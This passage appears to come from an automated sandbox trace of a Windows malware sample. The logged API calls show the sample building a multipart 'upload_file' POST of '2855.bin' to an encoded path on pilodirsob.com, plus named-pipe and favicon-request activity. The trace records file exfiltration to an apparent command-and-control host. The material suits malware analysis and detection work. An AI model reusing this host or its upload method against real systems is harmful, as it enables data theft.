lpString1="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp") returned="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp" [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x13) returned 0x278ffa0 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278df68 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb0) returned 0x278e020 [0715.586] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278df68 | out: hHeap=0x2390000) returned 1 [0715.586] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ffa0 | out: hHeap=0x2390000) returned 1 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278ee20 [0715.586] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x63c [0715.586] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x510 [0715.586] wsprintfA (in: param_1=0x317f4c4, param_2="Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"" | out: param_1="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0715.586] lstrlenA (lpString="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp") returned 267 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x10d) returned 0x278e0d8 [0715.586] lstrcpyA (in: lpString1=0x278e0d8, lpString2="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp" | out: lpString1="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp") returned="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp" [0715.586] StrChrA (lpStart="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp", wMatch=0x2f) returned="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp" [0715.586] StrChrA (lpStart="pilodirsob.com/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp", wMatch=0x3f) returned 0x0 [0715.586] lstrlenA (lpString="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp") returned 253 [0715.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1fb) returned 0x278e1f0 [0715.586] InternetCanonicalizeUrlA (in: lpszUrl="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp", lpszBuffer=0x278e1f0, lpdwBufferLength=0x317f49c, dwFlags=0x0 | out: lpszBuffer="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp", lpdwBufferLength=0x317f49c) returned 1 [0715.587] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0008 [0715.587] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x487038) returned 0x0 [0715.587] ResetEvent (hEvent=0x63c) returned 1 [0715.587] InternetConnectA (hInternet=0xcc0008, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x278ee20) returned 0xcc000c [0715.587] SetEvent (hEvent=0x63c) returned 1 [0715.587] HttpOpenRequestA (hConnect=0xcc000c, lpszVerb="POST", lpszObjectName="/images/micpyTcOEehAuAs7/_2F_2FaOLGeSfBg/SpqBP8BgrEPPu7fRQk/ZeJOITtHs/YWEqWFBZeXLDHvssfO9r/i_2FIb5Uzc70BiTAWZ9/pW3MoyQFCUx52IDsZSb5d1/NEH549uzpN_2B/_2FSVPr4/NvChszaTrwqyOg_2BEy5Xdb/D687vZ8oiI/0NSSiOjDkO10iDprd/Qviosj1zecPb/eHRsDzQsJxM/44j8owHTlQn/rF.bmp", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x278ee20) returned 0xcc0010 [0715.587] InternetQueryOptionA (in: hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c | out: lpBuffer=0x317f4ac, lpdwBufferLength=0x317f49c) returned 1 [0715.587] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x317f4ac, dwBufferLength=0x4) returned 1 [0715.587] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0715.587] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x317f4b8, dwBufferLength=0x4) returned 1 [0715.587] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1f0 | out: hHeap=0x2390000) returned 1 [0715.587] GetTickCount () returned 0xbafaf [0715.588] wsprintfA (in: param_1=0x317f668, param_2="--------------------------%04x%04x%04x" | out: param_1="--------------------------11e582f11e582f11e582f") returned 47 [0715.588] wsprintfA (in: param_1=0x317f5c4, param_2="Content-Type: multipart/form-data; boundary=%s" | out: param_1="Content-Type: multipart/form-data; boundary=--------------------------11e582f11e582f11e582f") returned 91 [0715.588] wsprintfA (in: param_1=0x317f628, param_2="\r\n--%s--\r\n" | out: param_1="\r\n----------------------------11e582f11e582f11e582f--\r\n") returned 55 [0715.588] lstrlenA (lpString="\r\n----------------------------11e582f11e582f11e582f--\r\n") returned 55 [0715.588] lstrlenA (lpString="Content-Type: multipart/form-data; boundary=--------------------------11e582f11e582f11e582f") returned 91 [0715.588] HttpAddRequestHeadersA (hRequest=0xcc0010, lpszHeaders="Content-Type: multipart/form-data; boundary=--------------------------11e582f11e582f11e582f", dwHeadersLength=0x5b, dwModifiers=0x20000000) returned 1 [0715.588] lstrlenA (lpString="Content-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"") returned 71 [0715.588] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x19a) returned 0x278e1f0 [0715.588] wsprintfA (in: param_1=0x278e1f0, param_2="--%s\r\n%s\r\n%s\r\n\r\n" | out: param_1="----------------------------11e582f11e582f11e582f\r\nContent-Disposition: form-data; name=\"upload_file\"; filename=\"2855.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n") returned 166 [0715.588] ResetEvent (hEvent=0x63c) returned 1 [0715.588] ResetEvent (hEvent=0x510) returned 1 [0715.588] HttpSendRequestA (hRequest=0xcc0010, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x278e1f0*, dwOptionalLength=0x18d) returned 0 [0715.589] GetLastError () returned 0x3e5 [0715.589] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e0d8 | out: hHeap=0x2390000) returned 1 [0715.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f6ac*=0x63c, bWaitAll=0, dwMilliseconds=0x1d4c0) returned 0x0 [0736.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x317f69c*=0x510, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0736.611] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x487038 [0736.611] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0736.611] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x487038 [0736.611] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0736.611] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x487038 [0736.611] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0736.611] CloseHandle (hObject=0x63c) returned 1 [0736.611] CloseHandle (hObject=0x510) returned 1 [0736.611] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e1f0 | out: hHeap=0x2390000) returned 1 [0736.611] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ee20 | out: hHeap=0x2390000) returned 1 [0736.611] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e020 | out: hHeap=0x2390000) returned 1 [0736.611] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x38) returned 0x278ffa0 [0736.611] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x278ffa0, nInBufferSize=0x38, lpOutBuffer=0x317f6b0, nOutBufferSize=0xc, lpBytesRead=0x317f6bc, nTimeOut=0x1 | out: lpOutBuffer=0x317f6b0, lpBytesRead=0x317f6bc) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ffa0 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278de60 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278fe98 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278d658 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0736.613] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278ede8 | out: hHeap=0x2390000) returned 1 [0736.613] UnmapViewOfFile (lpBaseAddress=0x3d0000) returned 1 [0736.614] CloseHandle (hObject=0x634) returned 1 [0736.614] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x400) returned 0x278f690 [0736.614] wsprintfA (in: param_1=0x278f690, param_2="SendFiles status %u\n" | out: param_1="SendFiles status 12029\n") returned 23 [0736.614] lstrlenA (lpString="SendFiles status 12029\n") returned 23 [0736.614] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f690 | out: hHeap=0x2390000) returned 1 [0736.614] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f580 | out: hHeap=0x2390000) returned 1 [0736.614] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f470 | out: hHeap=0x2390000) returned 1 [0736.614] RegCloseKey (hKey=0x7a0) returned 0x0 [0736.614] WaitForSingleObject (hHandle=0x6d8, dwMilliseconds=0x0) returned 0x102 [0736.614] WaitForMultipleObjects (nCount=0x5, lpHandles=0x317f818*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) Thread: id = 69 os_tid = 0xbb4 Thread: id = 70 os_tid = 0xbb8 [0100.665] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/favicon.ico", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x361f044*="*/*", dwFlags=0x600010, dwContext=0x56e2360) returned 0xcc000c [0100.666] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x361ebf0, lpdwBufferLength=0x361ebe8 | out: lpBuffer=0x361ebf0, lpdwBufferLength=0x361ebe8) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x361ebf0, lpdwBufferLength=0x361ebe8 | out: lpBuffer=0x361ebf0, lpdwBufferLength=0x361ebe8) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x29, lpBuffer=0x0, lpdwBufferLength=0x361ebec | out: lpBuffer=0x0, lpdwBufferLength=0x361ebec) returned 0 [0100.666] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb3) returned 0x278f2f0 [0100.666] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x29, lpBuffer=0x278f2f0, lpdwBufferLength=0x361ebec | out: lpBuffer=0x278f2f0, lpdwBufferLength=0x361ebec) returned 1 [0100.666] lstrlenA (lpString="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned 178 [0100.666] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xb3) returned 0x278f3b0 [0100.666] lstrcpyA (in: lpString1=0x278f3b0, lpString2="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" | out: lpString1="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)") returned="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" [0100.666] SetEvent (hEvent=0xf4) returned 1 [0100.666] InternetSetOptionA (hInternet=0x0, dwOption=0x49, lpBuffer=0x361ebcc, dwBufferLength=0x4) returned 1 [0100.666] InternetSetOptionA (hInternet=0x0, dwOption=0x4a, lpBuffer=0x361ebcc, dwBufferLength=0x4) returned 1 [0100.666] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x0, lpdwBufferLength=0x361ebf0 | out: lpBuffer=0x0, lpdwBufferLength=0x361ebf0) returned 0 [0100.666] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x21) returned 0x278f2f0 [0100.666] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x22, lpBuffer=0x278f2f0, lpdwBufferLength=0x361ebf0 | out: lpBuffer=0x278f2f0, lpdwBufferLength=0x361ebf0) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1, lpBuffer=0x361ebd0, lpdwBufferLength=0x361ebc8 | out: lpBuffer=0x361ebd0, lpdwBufferLength=0x361ebc8) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x361ebcc, lpdwBufferLength=0x361ebc8 | out: lpBuffer=0x361ebcc, lpdwBufferLength=0x361ebc8) returned 1 [0100.666] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x361ebcc, lpdwBufferLength=0x361ebc8 | out: lpBuffer=0x361ebcc, lpdwBufferLength=0x361ebc8) returned 1 [0100.666] InternetSetStatusCallbackA (hInternet=0xcc0004, lpfnInternetCallback=0x756d015c) returned 0x756d015c [0100.666] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x47bb32) returned 0x756d015c [0100.666] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2d, lpBuffer=0x361eb64, lpdwBufferLength=0x361eb6c, lpdwIndex=0x361eb70*=0x0 | out: lpBuffer=0x361eb64*, lpdwBufferLength=0x361eb6c*=0x3, lpdwIndex=0x361eb70*=0x0) returned 1 [0100.667] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIA") returned 0x76d0d250 [0100.667] StrStrIA (lpFirst="http://www.bing.com/favicon.ico", lpSrch="https://") returned 0x0 [0100.667] lstrlenA (lpString="http://www.bing.com/favicon.ico") returned 31 [0100.667] StrStrIA (lpFirst="http://www.bing.com/favicon.ico", lpSrch="http://") returned="http://www.bing.com/favicon.ico" [0100.667] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x80) returned 0x278f320 [0100.667] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x80) returned 0x278f470 [0100.667] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x1c, lpBuffer=0x278f320, lpdwBufferLength=0x361eb98 | out: lpBuffer=0x278f320, lpdwBufferLength=0x361eb98) returned 1 [0100.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f320 | out: hHeap=0x2390000) returned 1 [0100.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f470 | out: hHeap=0x2390000) returned 1 [0100.667] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f2f0 | out: hHeap=0x2390000) returned 1 [0100.668] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0180.714] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x56e23f8, dwFlags=0x0, dwContext=0x0) returned 1 [0180.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x56e2600, dwNumberOfBytesToRead=0xed, lpdwNumberOfBytesRead=0x361f0e4 | out: lpBuffer=0x56e2600*, lpdwNumberOfBytesRead=0x361f0e4*=0xed) returned 1 [0180.716] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x56e23f8, dwFlags=0x0, dwContext=0x0) returned 1 [0180.791] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0180.791] InternetCloseHandle (hInternet=0xcc0008) returned 1 Thread: id = 71 os_tid = 0xbbc Thread: id = 72 os_tid = 0xbc0 Thread: id = 86 os_tid = 0xbc4 Thread: id = 87 os_tid = 0xbc8 Thread: id = 88 os_tid = 0xbcc Thread: id = 89 os_tid = 0xbd0 Thread: id = 91 os_tid = 0xbdc Thread: id = 92 os_tid = 0xbe0 Thread: id = 93 os_tid = 0xbe4 Thread: id = 96 os_tid = 0xbf0 Thread: id = 100 os_tid = 0x90 [0100.670] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x48bf664, lpdwBufferLength=0x48bf660 | out: lpBuffer=0x48bf664, lpdwBufferLength=0x48bf660) returned 1 [0100.670] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x48bf664, lpdwBufferLength=0x48bf660 | out: lpBuffer=0x48bf664, lpdwBufferLength=0x48bf660) returned 1 [0100.670] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x48bf65c, lpdwBufferLength=0x48bf660 | out: lpBuffer=0x48bf65c, lpdwBufferLength=0x48bf660) returned 1 [0202.092] SetEvent (hEvent=0x738) returned 1 [0202.092] SetEvent (hEvent=0x730) returned 1 Thread: id = 102 os_tid = 0x24c Thread: id = 213 os_tid = 0x80c Thread: id = 235 os_tid = 0x9a0 Thread: id = 424 os_tid = 0xb88 [0180.647] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbec98, lpdwBufferLength=0x6bbec94 | out: lpBuffer=0x6bbec98, lpdwBufferLength=0x6bbec94) returned 1 [0180.647] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbec98, lpdwBufferLength=0x6bbec94 | out: lpBuffer=0x6bbec98, lpdwBufferLength=0x6bbec94) returned 1 [0180.647] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbec90, lpdwBufferLength=0x6bbec94 | out: lpBuffer=0x6bbec90, lpdwBufferLength=0x6bbec94) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbec34, lpdwBufferLength=0x6bbec30 | out: lpBuffer=0x6bbec34, lpdwBufferLength=0x6bbec30) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbec34, lpdwBufferLength=0x6bbec30 | out: lpBuffer=0x6bbec34, lpdwBufferLength=0x6bbec30) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbec2c, lpdwBufferLength=0x6bbec30 | out: lpBuffer=0x6bbec2c, lpdwBufferLength=0x6bbec30) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf190, lpdwBufferLength=0x6bbf18c | out: lpBuffer=0x6bbf190, lpdwBufferLength=0x6bbf18c) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf190, lpdwBufferLength=0x6bbf18c | out: lpBuffer=0x6bbf190, lpdwBufferLength=0x6bbf18c) returned 1 [0180.653] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf188, lpdwBufferLength=0x6bbf18c | out: lpBuffer=0x6bbf188, lpdwBufferLength=0x6bbf18c) returned 1 [0180.672] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf6a0, lpdwBufferLength=0x6bbf69c | out: lpBuffer=0x6bbf6a0, lpdwBufferLength=0x6bbf69c) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf6a0, lpdwBufferLength=0x6bbf69c | out: lpBuffer=0x6bbf6a0, lpdwBufferLength=0x6bbf69c) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf698, lpdwBufferLength=0x6bbf69c | out: lpBuffer=0x6bbf698, lpdwBufferLength=0x6bbf69c) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf640, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf640, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf648, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf640, lpdwBufferLength=0x6bbf644 | out: lpBuffer=0x6bbf640, lpdwBufferLength=0x6bbf644) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf5b8, lpdwBufferLength=0x6bbf5b4 | out: lpBuffer=0x6bbf5b8, lpdwBufferLength=0x6bbf5b4) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf5b8, lpdwBufferLength=0x6bbf5b4 | out: lpBuffer=0x6bbf5b8, lpdwBufferLength=0x6bbf5b4) returned 1 [0180.673] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf5b0, lpdwBufferLength=0x6bbf5b4 | out: lpBuffer=0x6bbf5b0, lpdwBufferLength=0x6bbf5b4) returned 1 [0180.705] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf720, lpdwBufferLength=0x6bbf71c | out: lpBuffer=0x6bbf720, lpdwBufferLength=0x6bbf71c) returned 1 [0180.705] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x6bbf720, lpdwBufferLength=0x6bbf71c | out: lpBuffer=0x6bbf720, lpdwBufferLength=0x6bbf71c) returned 1 [0180.705] InternetQueryOptionA (in: hInternet=0xcc0004, dwOption=0x1, lpBuffer=0x6bbf718, lpdwBufferLength=0x6bbf71c | out: lpBuffer=0x6bbf718, lpdwBufferLength=0x6bbf71c) returned 1 [0180.714] InternetQueryOptionA (in: hInternet=0xcc000c, dwOption=0x15, lpBuffer=0x6bbf794, lpdwBufferLength=0x6bbf790 | out: lpBuffer=0x6bbf794, lpdwBufferLength=0x6bbf790) returned 1 